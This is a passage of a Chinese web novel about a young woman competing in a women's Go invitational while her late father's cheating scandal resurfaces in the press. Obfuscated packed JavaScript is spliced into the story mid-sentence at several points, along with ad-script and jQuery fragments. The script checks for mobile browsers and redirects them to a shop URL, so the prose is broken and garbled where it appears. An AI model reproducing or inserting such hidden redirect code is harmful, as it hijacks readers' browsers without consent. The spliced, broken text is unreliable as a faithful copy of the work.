l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744961|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她领到她的酒店房间,送她进门,见庭见秋合门的一瞬,似又要说谢,忙笑道:“别跟我客气了,见秋。” 见秋二字,从他口中说出来,无端旖旎。 “一会开幕式见。”他又说。 庭见秋很用力地点了一下头。 * 开幕式上,主办方谢颖九段、赞助商代表分别致辞。 十多年不见谢颖,她脸上似减了一些丰致,多了些皱纹,当年的如瀑黑发也淡去光泽,是不断染发遮掩白痕的结果。年岁增长,她周身的气质更加凛然,立在台上,不怒自威。 谢砚之坐在台下,靠近台前的位置,仰着脸,很专心地听致辞。 他和其他选手、工作人员坐着一样的椅子,别人都显得刚好,他却因为人长腿长,不得已半屈着膝,委屈地坐在小人国里似的。 庭见秋坐在会场边缘,为自己冒出来的小人国想象,暗暗偷笑。 开幕式结束后,选手可以在自助餐厅就餐,然后各自回房间休息,等待下午的抽签结果。 午后,庭见秋午觉睡醒,见还没到比赛的时间,有些无聊,决定出门转转,醒醒脑子。 ——在酒店长廊的尽头,她看到一个熟悉的背影,此时他已脱去墨色西装外套,只穿一件平整的白衬衣,依稀可见腰背流畅的线条,衬衣下摆扎进裤中,身型修长矫健。 他正低垂着头,像在说着什么。 他面前有一个年轻女孩,头发柔柔地散在肩上,肩头战栗地耸动着,看不清五官,只能辨出秀美的轮廓。 她一眼认出来,那是前阵子在体育新闻上占了几个版面的言宜歌三段。她也受邀来参加比赛了。 言宜歌在哭。 谢砚之也不再像小时候那样不懂得安慰人了,将手放在言宜歌肩上,缓慢地、安抚地轻拍着。 庭见秋深深望了一眼,无由来地一阵烦躁,转身绕开了。 她早就知道谢砚之教养好得吓人。谢颖真将他教成了一块砚,君子端方。从十二岁第一次见他时就如此。 这样的人,当然不会只对她一个人这么好。 * 下午两场棋,庭见秋遇上两个国内的业余高段的女棋手,都下得很顺利,对方中盘认输。 杨惠子也来了,知道庭见秋已经和家里说了下围棋的事,不再担心上新闻了,对连胜两盘的她左拍右拍,一副要造势把她捧红的样子。 两人正笑着,杨惠子突然扬起下巴:“言宜歌也下好出来了,我去采访她,秋秋你先忙你的——” 她巴不得先去自助餐厅抢螃蟹吃,和杨惠子道了别。 回首一看,言宜歌正好从赛场里出来,一张娃娃脸上满是轻松。 毫不意外,她也是两连胜。 前阵子她在华日女子友谊赛上,和高桥依子的五番棋,三胜二负,早已证明自己有问鼎华国青年女子围棋的资质。于她而言,在这场女子邀请赛上,恐怕确实很难遇上对手。 按照赛程安排,胜率相近的棋手之间抽签作战,庭见秋如果能维持高胜率,或许有机会能和言宜歌下一局棋。 没走两步,庭见秋肩头被轻轻一拍,她拧过身,是谢砚之,如早上在酒店门口捡到她时一样,笑吟吟地向她打招呼: “下得顺利吗?要不要一起吃晚饭?” 庭见秋越过谢砚之的肩头,看见正在采访言宜歌的杨惠子似见到谢砚之的身影,也回过头来,好奇地打量正在对话的他们二人。 “谢砚之,”她听见自己用只有两人可以听到的声量,语气冷硬地说,“你在外面,当着别人的面,最好别跟我走太近。” 14. 黑料 谢砚之没有任何追问,更没有纠缠。 这也在庭见秋的意料之内。 她一个人在自助餐厅,光拣肉和海鲜,举着刀叉猛吃。 庭见秋日常生活里避人三尺,不争不抢,只在两个地方战斗力最强:棋桌和餐桌。 啃肉的间隙,她从盘子里抬起头来,见到一个大高个,浓眉大眼大嗓门,穿着一袭宝蓝色西装,戴着工作人员牌,却没有谢砚之的那副得体,倒像个抢单的客服,举着自助餐盘,在人群中穿梭、争饭。 庭见秋定睛一看,那家伙手中盘里,是扬州炒饭配干炒牛河。 她赶紧低下头来。不知道仇嘉铭怎么也来世界女子邀请赛当工作人员了,只知道这种人,多看一眼,只怕她也要跟着变傻。 * 自从庭见秋让谢砚之不要和自己走太近,他倒真的很乖顺地不再来找她了,只是在赛场上,庭见秋偶尔还会遇到他做裁判,过来替她的对局数子。 她赢了,谢砚之还是冲她笑,好像什么也没发生过一样。 偶尔也会遇到仇嘉铭作为裁判,路过她的桌边,她正好填完最后一个单官,冲不远处溜达巡逻的仇嘉铭招呼道:“仇嘉铭!下完了!” 仇嘉铭欢快地应声:“来嘞!……诶我没见过你啊,你认识我?” 庭见秋这才意识到自己的语气显得太熟了。 “哈哈!没办法,我太红啦!哟,你赢啦,我的粉丝。” 庭见秋被叫一声粉丝,第一次觉得自己赢棋了还是浑身不痛快。 三天赛事,庭见秋只输了一场,以二目的微弱劣势败在一位日国女棋手手上。在这场比赛中的华国籍棋手里,有这样突出成绩的,只有她和言宜歌三段。 早在赛程第二日,杨惠子就已经在新闻里,浓墨重彩地大吹大捧庭见秋,不无夸张地将她奉为震碎世界女子围棋格局的黑马。杨惠子把她受到家庭影响,睽隔十三年重返棋场,在二十五岁这个紧要关头争夺职业棋手资格的故事,写得惊心动魄、荡气回肠,如风卷狂浪,煽动力极强。新闻结尾处,还义愤填膺地高呼: “我们不禁要问,如此英才,棋中女杰,过去一直被埋没在了哪里?制度、观念,压抑人才的一切因素,还需要进一步反思。” 远在云春的季芳宴女士竟然也在关注自己的比赛。 庭见秋离家出走之后,季芳宴恼了几天,终究还是放心不下她一个人在江陵,时不时还来关心一下她的死活,问问钱够不够,嘱咐入春别急着减衣服。每句关心后面都缀着一个略带威胁意味的黄豆微笑表情,意思是老娘的好脸维持不了多久,你最好玩够了就收心。 她参加世界女子邀请赛的事,在收到邀请函的时候就告诉了季芳宴,季芳宴只哦了声。 杨惠子的报道一出来,季芳宴一大早就截图最后一段,发给庭见秋: “意思我需要反思?[微笑]” 庭见秋正想着怎么顺毛捋她妈的暴脾气,季芳宴又截图了一盘棋,发过来。 庭见秋认出来,这是自己昨天赢的一盘,没想到杨惠子还把这盘棋的棋谱放在了新闻里。 季芳宴:“下得什么,赢少了。[微笑]” 当年庭岘和庭见秋父女俩一天到晚泡在围棋里,季芳宴也学了两手。她学棋时年纪已大,悟性却不低,能看懂个七七八八。有时候庭见秋棋下得有不够的地方,庭岘呵呵一笑放过了,倒是季芳宴把小女孩抄过来,不依不饶地打一顿屁股。 庭见秋心下一暖:“今天再努力。” * 第四日,赛程过半。 庭见秋心知自己的连胜,大半是运气好,抽签时都避开了几块硬骨头。 早上八点,她下楼查看公示出来的抽签名单,心下暗叹自己果然好运气到头,抽到了本次邀请赛的夺冠大热门,日国女棋手小松雪初段。 小松雪是日国老一辈最知名的棋手之一结城介九段的关门女弟子,年纪虽不过十六岁,棋风却很稳重。 庭见秋看了眼表。赛前她已经将这次邀请赛中有威胁的棋手的棋谱整理出来,粗粗梳理过棋路,小松雪不算最难缠的。距离开赛还有一个小时,她还来得及临阵磨枪,再琢磨琢磨小松雪的棋。 正要回房间看棋,她接到比赛工作人员的电话: “喂,庭见秋选手您好,您这一轮的对手小松雪初段,由于昨晚结城介先生突然病情危重住院,先飞回日国了。” 她心下一紧:“那比赛怎么办?” 她还挺期待和日国传说中的天才少女下一局的。 “这个您不用担心,我们的小松雪初段已经在日国落地了,同意以网棋的形式完成接下来的比赛,对方会全程开着摄像头,确保没有作弊的可能性的。” 神态举措,也是围棋的一部分,既见功力,也见棋品。网棋缺失了这一部分,到底不如面棋。这也是庭见秋来到江陵棋院之后,再也没有登录弈世网的原因。但如今情势所迫,虽然形式特殊,也不是不能接受。 庭见秋答:“可以。” “好的,那麻烦您到时候直接来到211房间,我们专门为您配备了电脑和监控设备,您只要在电脑上登陆弈世账号……” “弈世?”她一愣。 “对的呀,我们这个比赛的赞助商就是弈世网的创始人,我们弈世网在中朝日三国都有服务区,而且可以跨国际下棋,深受广大棋手朋友们的喜爱呢~” 这工作人员是从弈世网客服那里拉过来的吧! 庭见秋问:“但是在弈世上下棋,是不是有点太高调了?” 她想起自己棋室里挤满围观者的样子。 “是可以设置成私密对弈的呀。” 庭见秋:啊? 这就是一整个青春期由于家境贫寒家里没有电脑的坏处。庭见秋是个不擅长摸索网站功能的、彻头彻尾的电脑小白。 她的弈世网账号,倒也不是有什么见不得人的。只是暴露马甲,可能会惹上一点麻烦事。 九点,线上对弈开始。 负责监控小松雪初段的工作人员——仇嘉铭,看着小松雪的对战对象ID,前一晚因熬夜而有些浮肿的双眼,霎时瞪大,困意全无。 不大的监控室里,爆发出一声国骂: “秋老虎是女的?!” 这是一场令庭见秋占足敌明我暗优势的棋。她熟悉小松雪的棋风,对小松雪而言,她却是一个全然陌生的存在。开局没多久,小松雪就意识到庭见秋属于力战型的选手,顽强抵抗着,几次厮杀都不落下风。然而,庭见秋的攻击如同一只小型的猎豹,狠狠用齿、用爪,将全副身子扒在小松雪这头皮肉粗厚的巨兽之上,小松雪怎么也无法甩掉她,渐渐生畏,退却,连下几招保全自己的缓棋,将战场的主动权让渡给对手。 着实是一场苦斗。获胜的瞬间,庭见秋也长舒一口气。 竟下了将近三个小时,双方都险些超时判负。 她正要退出账号,却见右下角聊天框,小松雪连发了好几个卖萌打滚小表情。配上她的Q版粉色头发小人,庭见秋看得心软软。她想起关建伟,也是一样的年纪,可惜太辛苦、太早熟。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744962|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了一朵小玫瑰。 小松雪不会写中文,又发来三个表情:[女孩][爱心][女孩] 下一秒,庭见秋的界面弹出一个好友申请,她欣然同意。 隔了几间房间的监控室里,又爆发出一阵破口大骂: “秋老虎还有对人态度这么善良的时候?!” 庭见秋退出账号,走出小隔间。 杨惠子早蹲在隔间门口等着,见她来了,笑吟吟地:“采访一下庭选手:和小松雪下棋,不容易吧?” “不容易,但是赢了。” “赛场上那些下面棋的都已经结束了,只差你们了,我就猜到会是一场精彩的棋,赶紧来蹲第一手情报,快说说……” 走廊另一头,传来由远及近的粗豪巨声: “秋老虎!” 庭见秋被这声吓得一战,沉重地闭上双眼。 麻烦来了。 仇嘉铭见庭见秋身边还站着个捧着相机的杨惠子,一怔忪后便轻快地半开玩笑打招呼:“哟,这不是无良女记。” 杨惠子飞快回应一句:“棋界之耻。” 庭见秋诧异地:“你俩认识?” 仇嘉铭赶紧同仇敌忾:“秋老虎,我奉劝你离她远点,她坏得很,她写过我黑稿。” 这已经是这几天第二个人这么跟她说了。庭见秋又好笑又好奇:“怎么个黑法?” 杨惠子:“……我把事实说了一遍……” “我呸!你在世人面前固化了我废物的形象!上个月谈棋跟我解约了,也有你那篇稿子的功劳!” 杨惠子冲庭见秋吐吐舌头:“工作能力太强,不小心写了个十万加爆款,出圈了。” 庭见秋朝杨惠子暗暗竖一个大拇指。 杨惠子状作无意地接着套话:“那你现在是不是已经找好下家啦?” “谢颖老师一定会……等一下,我才不告诉你呢!省得你又写我稿子!” “笑死,说得跟你现在有新闻价值一样……” 两人将庭见秋夹在中间,吵了一路。庭见秋被吵得脑门嗡嗡,想逃又逃不掉,心情是想把他俩打包一起扔到江陵护城河里喂鱼。 好不容易借口回房间午休备战,出门看下午的对阵抽签结果时,一开门,发现门口蹲了只大狗,一身客服蓝西装因为久蹲,在墙壁上蹭得发皱泛灰。 庭见秋差点被仇嘉铭绊一脚。 仇嘉铭眼巴巴地举着手机凑上来:“加个好友行不,秋老虎?我真的觉得和你下的几盘棋特开心,收获很大……哎你别走啊……” 像是收服了一只巨型坐骑,庭见秋走哪,仇嘉铭就跟在身后一米处。 庭见秋在赛场里不认识什么人,仇嘉铭名声虽臭却很响亮,走两步就能遇上能打招呼的熟人,亮着大嗓门招摇过市。 下午对阵,仇嘉铭身为裁判,滥用公权,直接赖在庭见秋的棋桌边上,不走了,满眼欣赏地看棋。 给庭见秋下着棋还冒出一身鸡皮疙瘩来。 在仇嘉铭热切的注视下,庭见秋忍着恶心又赢了一盘。对面的华国女棋手也很爽快,输棋下桌,还不忘道声谢,顺手从包里掏出手机解锁,却一怔,抬眼望了望庭见秋,像在确认些什么,有些吞吞吐吐地提醒: “你……好像上新闻了。” 仇嘉铭好奇:“那个无良女记又写什么了?” 一见对手的神情,庭见秋心中便知道不是什么好事,也拿出手机。 凌风体育刚刚发出的新推送: 【世女邀请赛黑马庭见秋之父,曾深陷作弊丑闻!】 15.宣战 庭见秋暗自深吸一口气。不必点开,也知道是怎么一回事,但她还是像自虐一样,面无表情地读完了全篇。 十三年前,庭见秋的父亲庭岘五段,在华日擂台赛的预选赛中,作战中盘,移动了棋面上的棋子,被当场发现,取消比赛资格,记处分,禁赛一年。 禁赛一年,只是名义上的处罚。出了这样的事,庭岘已不可能再参赛、教棋,与取消职业棋手身份无异。 不得不说这是一篇写得相当精彩的推文,将庭岘的卑劣描摹得前无古人后无来者,更暗指他三十年前参加华日擂台赛连胜五场的惊人战绩,或许也有与日国棋手暗通款曲的成分。 落款处一共五人,杨惠子赫然在其列。 庭见秋略有些自嘲地一笑。她早知道,一旦重回这个圈子,那些她和季芳宴极力掩藏、遗忘的过去,会以她无法控制的方式重见天日。 她只是天真地希望,以相识这数月来对杨惠子品性的了解,如果这一切交给她来做,或许不会那么难看。 她没有错估杨惠子的才华,却高估了她和杨惠子的交情,她竟以为这样薄弱的友谊,可以撼动一个记者对于吸睛选题的若鹜追求。 仇嘉铭见她脸色惨白,从她手里抢过手机,庭见秋也没有反抗,任他看。 “这什么屁话……不是,你爸怎么样,关你什么事啊?”仇嘉铭素日里嬉皮笑脸,没个正形,这时候却是真的动了怒气,“杨惠子写的?——还真是。真不愧是她,这么多年,一点变化都没有。” 庭见秋静默地从他手里抽回手机,收包要走。 仇嘉铭好心道:“你待会给令尊打个电话问候一下,年纪不轻了,还被这样挖,肯定心里也不舒服。” 庭见秋蓦地向他看去,一双狭长深刻的狐狸目,染上悲哀的红: “我老爸,去世十几年了。” 语罢提包离开,身影显得有些仓皇。 * 庭见秋怀中手机一直传来消息提醒的震动音。 她猜到是杨惠子发来了消息,也大概猜到会是怎样的解释和道歉。 但她没有心情看。 她一会还有一盘棋,再过约半个钟头,就会公示抽签结果,她还要研究对手的棋谱,做足准备。只有半个小时时间,调整自己的情绪。她要找个小角落,躲起来,把自己埋起来—— 路过一处拐角,她猛地被捉住手腕,轻轻一拽,她只觉重心一歪,撞进一双略带愠怒的眼底: “我不能离你太近,为什么仇嘉铭就可以?” 是谢砚之。 两人挤在酒店拐角处的一个小隔间内,挨得太近,是呼吸都能彼此交织的、令人不安的距离。她能清晰地看见眼前的男人一切脆弱的痕迹。额发像是被焦躁地抓过,有些散乱,长眉不悦地蹙起,面上一点笑意也无,低哑的质问也令她有些陌生。 庭见秋从未见过这样的谢砚之,她一愣,随即吃痛,怒视回去。 谢砚之立即松开了紧抓着她手腕的手,似找回理智一般后退半步,身子抵着墙,垂着脑袋,沮丧而又懊恼地低声:“我弄疼你了?对不起。” 他的态度软化,眼神却仍不依不饶,隔着纤长的睫羽,定定地盯着庭见秋的面孔,似要盯出个回答来。 庭见秋只好回过身子,轻轻带上小隔间的门。 小隔间里摆满了积灰的工具。日光透过房顶一扇狭窄玻璃窗,照亮隔间的一线,洒下昏朦黯淡的色彩。木制小门掩上的一瞬,似隔开了两个世界,一切纷扰、嘈杂,都不属于眼下这个只有她和谢砚之的空间。 “你没什么事的话,就陪我待一会。”庭见秋有些疲倦地,走到谢砚之身侧。她的肩头与他的上臂之间,隔着似有还无的距离。 她沉沉地将身子靠在满是飞灰的墙壁上,脱力般阖眼休息。 谢砚之察觉到她情绪不对:“怎么了?你不舒服的话,我带你回房间。” 庭见秋淡声道:“这里挺好的。……惠子挖出了我老爸当年作弊的事,新闻推送已经发出来了。” “可当年的事情,不是因为庭老师的病吗……” “我也相信移动棋子不是他的本意。医生确实说了,脑肿瘤会影响患者的性情和判断。但棋协的意思是,证据不够充分,没有办法证明我老爸当时是出于自己主观意愿移动棋子,还是受到肿瘤的影响。所以还是维持了处分。” 谢砚之低低地叹了口气。 “所以,”庭见秋扬起下巴,转头望向较她高出一个脑袋的谢砚之,一双琥珀色的眸子泛出柔和的光彩,“我不想让别人看到你和我认识。我毕竟是通过你的关系,才获得了邀请赛的资格,我承了你和谢颖老师的恩,不能让你们和这件事扯上关系。至于仇嘉铭……反正他本来也没什么名声。” 谢砚之失笑。 两人之间紧绷的氛围,一时土崩瓦解。 “我以为你生我气了,我都不知道我哪里做错了。”谢砚之话音里带了些委屈。 庭见秋将脸略微侧向一边,不自然地撒了个小谎:“没有。” 其实是,一点点。 一点点恼意,从她在酒店走廊见到他和言宜歌起,无端地生发出来。她解释不了,也无法克制。 谢砚之歪着脑袋,弯着笑眼,试探:“我们和好了?” 庭见秋小声:“嗯。” “如果我跟你说我不介意这件事,在外面,我可以离你近点吗?” 已经很近了。他竟还要再逼近,掠夺她维系方寸的一点距离。 庭见秋乍然觉得房间太窄小,氧气那么稀薄,她有些喘不过气来: “……嗯。” 木质小门之外,传来着急的唤声: “谢砚之——谢砚……哎这小谢人呢?又翘班?” 庭见秋有些紧张地抬眼看他,他竖起食指比了个噤声的动作,孩子气地冲她眨眨眼,眼底闪烁着细碎的得意: “不理他。我答应陪你的。” “没关系吗?” “我妈可是谢颖。” 庭见秋破颜一笑。 两人有一搭没一搭地随意闲聊几句,有时说这几天下的棋,有时说在棋院和赛场上遇到的形形色色的人,聊得零碎,全无目的,却又很自在,默契得像在自言自语。公示抽签结果的时间到了。庭见秋初看见新闻时心里涌起的愤怒委屈,此时已一并全消。 没有什么比眼前的棋更重要。想明白这一点,她总会回到棋桌之上。 “我去看公示结果。”庭见秋从墙上直起身来。 她身上简约的卡其色套装外衣在墙上有些揩脏了,她全不在意地掸掸背上的衣服。谢砚之静静地注视着她素白的手掌屈至肩后、轻拍衣上的落灰与褶皱的动作,像观赏一只扑簌的白蝶。 开门前一瞬,庭见秋向谢砚之笑说:“谢谢你,我真的很庆幸能和你做朋友。” 谢砚之对“朋友”二字不置可否,向她温和地点了点头: “加油。” * 赛程第四日下午,第三局棋,同时也是整场世界女子邀请赛的倒数第二轮。 庭见秋依旧和言宜歌三段擦身而过,和一个朝国初段女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754292|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棋手分为一组。 公示板前,她依稀能听到周围有窃窃私语,念出她和老爸的名字,她全然不理,在心里默默计算对手分——目前十局棋,她九胜一负,算上对手分,排名第四。 如果要取得名次,站上领奖台,她必须拿下眼前这一局。 而如果,她想争一争第一,只有唯一一条路: 不仅她要赢下第十一局,目前十局全胜的言宜歌也必须赢下第十一局,然后在明天上午的最后一局,被庭见秋亲手击败。这样,在庭见秋和言宜歌都十一胜一负的情况下,庭见秋的对手分会略高于言宜歌。 计算清楚之后,她心里明净亮堂,除去纵横十九道上无数的变化,再也没有其他念头可以侵扰到她。 ——二十分钟后,庭见秋在众人的瞩目与轻声议论之下,找到自己的名牌,坐下,待比赛开始,与对手互揖,不到一个半小时,中盘屠龙。 朝国女棋手投子认输。庭见秋起身,收棋。 与她的棋桌相隔不远,是正中盘厮杀的言宜歌。庭见秋离开赛场时,经过言宜歌桌边。少女莹白的圆脸抬起,两人目光相触半秒,又飞快错开。 她们彼此都能认出这个眼神:母兽在猎杀开始之前,向对手示威的神情。 * 终于结束了今日的三盘厮杀,庭见秋身心俱疲,一个人在自助餐厅埋首狂吃。 谢砚之端了餐盘来,也不问一声,就在她面前坐下: “我看了你刚刚的棋,杀得很过瘾。几手擒杀紧气,非常精彩。” 庭见秋一盘子大鱼大肉大螃蟹,红烧盐焗和爆炒。谢砚之吃个自助还讲究荤素搭配,盘里还有几截葱绿的小青菜。 庭见秋见他来了,赶紧梗着脖子,要把嘴里的肉咽了,谢砚之大笑说: “别急别急,别噎着了。我知道你要问什么。宜歌赢了。最后一场的抽签结果,今晚就会出,如果你运气好,对上她,还有一晚上时间可以准备。” 庭见秋又问:“你熟悉言宜歌三段的棋风,有什么建议给我吗?” “她啊,”谢砚之眼神戏谑,“她从小学我的棋,棋风像我,但论计算,还是我略胜一点。” 比了个一点点的手势。 庭见秋心中知道,自己这种好战的棋风,最害怕的就是遇上谢砚之这样令自己无从作战的对手。这种棋手永远能从大局着眼,判断局部作战的必要性和可行性。弃子争先,能够在棋面上形成一个转换,庭见秋纵是在局部作战中占了甜头,从整体而言,未必讨好。 就像一拳打去,对方并不生受,而能轻轻绕开,于侧面使力。 谢砚之又说:“庭老师的事,解决了吗?” “也没什么可以去解决的吧。那篇新闻发都发了,也算是实情。”庭见秋面上已无波澜,像在说着与己无关的闲事,“惠子给我发了很多消息,说她只是对我成长的家庭环境好奇,去查了一下,文章不是她写的,她只是提供过一些材料……” 谢砚之淡声:“你信吗?” “我没有回复她。”庭见秋一顿,“比起她,更让我发愁的是我妈。” 她解锁手机,点开和季芳宴的聊天框,递到谢砚之面前—— 季芳宴:“回家吧,不要下了,不要再让他难看了。” 谢砚之知道这句话对庭见秋而言有多残忍。他不置评价,抬起眼来,看着她,等她的回应。 庭见秋收回手机,当着谢砚之的面,敲下给季芳宴的回复: “老妈,我会把最后一局棋下完,我会下赢。我放弃了,那才是让老爸难看。” 16.短刀流 赛程第四日晚,夜如泼墨,细雨斜侵。 庭见秋踏破一汪汪被路灯映照得格外澄明的积水,回到江陵棋院。 赵良甫知道她要来,已经在棋院门口等着了。 收到庭见秋说打算回棋院一趟的消息,赵良甫本能地以为,是为了那一则新闻,孩子伤心了,想和父亲的老朋友聊一聊。他向来严厉,谈心不是他的强项,搜肠刮肚地攒了一肚子安慰的话,可庭见秋发上蒙着细碎的雨珠,浑身寒意,进门便说: “赵老师,我明天要应战言宜歌三段,有许多自己解不透的地方,请您帮我看看棋谱,商量一下战术。” 赵良甫一愣:“你父亲的事……” 庭见秋眼底带着倦意,却因坚定而显得神采奕奕:“老师,现在我只想下好明天的棋。” 赵良甫叹道:“好!” 楼梯口,丛遇英、关建伟、小文与小悦,还有在江陵棋院学棋的两个月里,庭见秋新结识的那么多小棋友——有的已经穿上了睡衣,显然是睡了一半被喊起来——都纷纷从三楼与四楼下来,站成一座敦实的小孩山,隔着不远,眼巴巴地呆望着庭见秋,一副想帮助她又不知道该怎么办的样子。 一群小不点,竟然还在担心她。 庭见秋没由来地眼底一酸,向孩子们用力招了招手: “十点多了,都快去睡觉,再不睡觉长不高啊。” 十岁左右的孩子都走了,剩了丛遇英、关建伟和几个十五六岁的冲段少年,仍乖乖地站在楼梯口。都是棋院里下棋最好、最有希望定段的孩子。 关建伟解释说:“多几个人一起想棋,思路能更开阔一点。” 丛遇英呲牙笑道:“这种关键时候,小庭姐姐还是得靠我嘛。” 这回喊姐姐,倒是挺顺,没咬着舌头。 庭见秋感念地点了点头。 赵良甫在自己的办公室里搬出棋盘,庭见秋在棋桌上,摆出她挑选过的言宜歌最突出的几局棋。一旁几名小棋手,也顾不上在老师面前谨言,七嘴八舌地提出自己的观点,性急的甚至直接上手试棋,盘面上落了好几只小手,乱成一团,却又演生出了不少奇妙的变化。 言宜歌棋风稳健,攻防一体,每一子都稳扎稳打,周密坚实。与谢砚之师出一脉的她,最突出也最难得的就是大局观念。对上这种棋手,越是追求战斗,越是容易在不知不觉中陷于蜗角之争,最终在全局中处于被动。 然而偏偏能令她溃乱崩盘的,也只有乱战。 几局棋,摆至天边泛明。赵良甫手边堆满烟蒂,如战场劫灰。庭见秋两眼熬得通红,仍在棋桌前坐得笔直,注视棋局。年纪小的棋手已蹲在墙边打起瞌睡来,只剩丛遇英和关建伟,分别坐在赵良甫、庭见秋身侧,小声又紧张地讨论。 七点,小文和小悦在街边打包了庭见秋最爱吃的油条糍粑,配豆腐脑加致死量的红糖,打包送来。 正好在棋桌边僵坐一宿的赵良甫和庭见秋起身,赵良甫如兄父般劝慰地拍了拍她的肩: “……布局能做的有限,还需要你中盘随机应变。 “你记住:不要寄希望于势如破竹的强攻,令对手一战不起。围棋是你来我往,是沟通,是协商。面对势均力敌的对手,你要耐心和她拉锯,谨慎地计算,纤毫之间见胜负。 “无论如何,谁主导局面,谁就能赢棋,你要把言宜歌,拖到你的棋中去。” 庭见秋认真而又用力地点头:“记住了,老师。” 小文把暖乎乎的早餐塞到她的手心里。 小悦扑上来,像一只小考拉一样薅着她的腰: “小庭姐姐,你下赢言宜歌三段,就是我的新偶像啦。” 庭见秋答应:“我会努力的。” 吃过早饭,庭见秋又回寝室洗澡,换了一套干净的正装。收拾齐整,穿着庄重得体,既是对对手的尊重,也是对棋局的尊重。老爸过世多年,但他嘱咐的行棋礼仪,庭见秋还是没有忘记半个字。 更何况,昨晚,谢颖在亲自公示抽签名单的时候,还强调说:目前积分最高的言宜歌和庭见秋之间的对局,将在大厅里实时展出,欢迎广大棋友和媒体朋友们,一起观棋,静候新一届世界女子邀请赛的冠亚军的诞生。 ——庭见秋将背负着父亲的丑闻,站在媒体充满怀疑的长枪短炮前,下出这关键性的一盘棋。 * 清晨,八时三刻,江陵市云收雨霁,晴光如刃,刺破纤薄的云层。 早有各家体育栏目的记者守在江陵市中心酒店的入口处,等待比赛的开始。 “庭见秋棋手到了——” “她终于来了,还以为她会弃赛。” “无论是因为劲敌言宜歌三段,还是因为庭岘五段作弊的往事,退赛都不是什么值得奇怪的选择……但她出现了。” 庭见秋在正式开赛之前赶到国际会议中心,脚步略匆忙,面上仍是一副稳操胜券的淡然。她的长卷发用鲨鱼夹别在脑后,分明穿着修身的黑色西装,却踩着一双学生气十足的、前一晚沾了些泥水的小白鞋,加之身量不高,体格纤细,像是偷穿大人衣服。 酒店窄道两侧,记者与话筒密实地围簇,她目不斜视地穿过,用手背轻而不容辩驳地拂开递到自己面前的话筒。 她有话要对记者说,但不是现在。 是在赢棋之后。 抵达大厅时,言宜歌早已端坐在棋盘白方一侧,同样穿着正式,一双大而圆的、桃花似的眼,轻轻合着,像是在养神,又像在心中默默计算布局。 听到庭见秋的脚步声,和记者摄影时的喀嚓声响,言宜歌不紧不慢地睁开眼,对落座在自己对面的庭见秋,身子前探,用记者听不到的声音,轻声道: “作弊了吗?” 问得异常直接,不留情面。 却不像是在示威,更不像在逗弄她的心态,只是在确认,自己面前的,是不是一个可敬的对手。 庭见秋也答得干脆:“我相信没有。” 似收到了一个满意的回复,言宜歌重新坐正,又合上了眼。再不多话,也没有更多的表情。 眼前的言宜歌,和庭见秋在新闻中见到的那个以甜美可人著称的“京城华一小师妹”,仿佛不是一个人。她确实生了一张白软的面孔,在酒店的顶灯之下, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泛着珠玉一般细腻的光泽,周身却萦绕着一种相当凛冽肃杀的气息,如开刃长刀,寒光凛凛。 九点,准时开赛。 “庭见秋选手双连星开局,言宜歌选手星小目开局。庭见秋挂角。这是一个非常常见的托退定式,二位棋手走得相当迅捷……” 中心酒店的大厅中,攀柔五段一身简约利落,在大厅正中一扇竖在墙壁上的大棋盘上,解说这一盘棋。 大厅里,挤满听棋的记者和棋友。赵良甫带着江陵棋院的几个大孩子,坐在角落里的一张圆桌。 “……定式行至这一步,庭见秋选手的黑棋应当在此处拆二。” 攀柔将附着磁石的黑子,距离上方的黑棋,隔两格落子,即“拆二”。 在落子的下一秒,攀柔将这枚棋子,又向下移了两步。 “但是庭见秋选手下在了这里。” 相当过分的一手拆四。 在围棋中,一枚棋子紧挨着另一枚落下,叫作长;隔一格落下,叫作跳。这两种下法,虽然连接紧密,不易分断,但步调慢,效率低。在周围没有其他棋子虎视眈眈的时候,可以选择效率更大的大跳,拆二,隔两格。 更快的拆三、拆四,则有被敌人打入、分断的危险。 庭见秋落了一步险棋。 棋盘上,几手黑棋显得过于分散,似乎在引诱言宜歌进入战斗。 言宜歌没有立即惩罚庭见秋的过分手,获得先手之后,继续挂角,抢占角地。 “简单应对之后,庭见秋选手……再次放着孤棋不理会,直接在棋盘的另一端,挂角。” 攀柔按照从现场发来的棋谱,将黑子落在相应位置的时候,也开始心生迟疑,秀气的长眉轻蹙。 这是什么布局? 盘面上,每一块黑棋都立根不稳,势单力孤,却又如空降兵一般,在棋盘的各个角落,扎眼地存在着。 攀柔并不急于讲解,而是转过身,对着棋盘细看。 她是第一次看见这种棋。 如果是她,按照她近二十年的职业围棋经验,她会立刻展开战斗。 然而粗略计算之下,她并不觉得有哪片孤棋,像她想象的这么好杀。 言宜歌三段显然也想到了这一点,并不急于杀棋,而是先经营角地,再打入防御虚浮的黑子之间,势要将眼前若即若离的黑子绞碎,之后再嚼净黑子细小的骨块。 两名女棋手落子都很快,攀柔目不暇接地接收着新战况,来不及演示变化,只能偶尔见缝插针地解说一两句。 “下太快了啊……”赵良甫轻叹道。 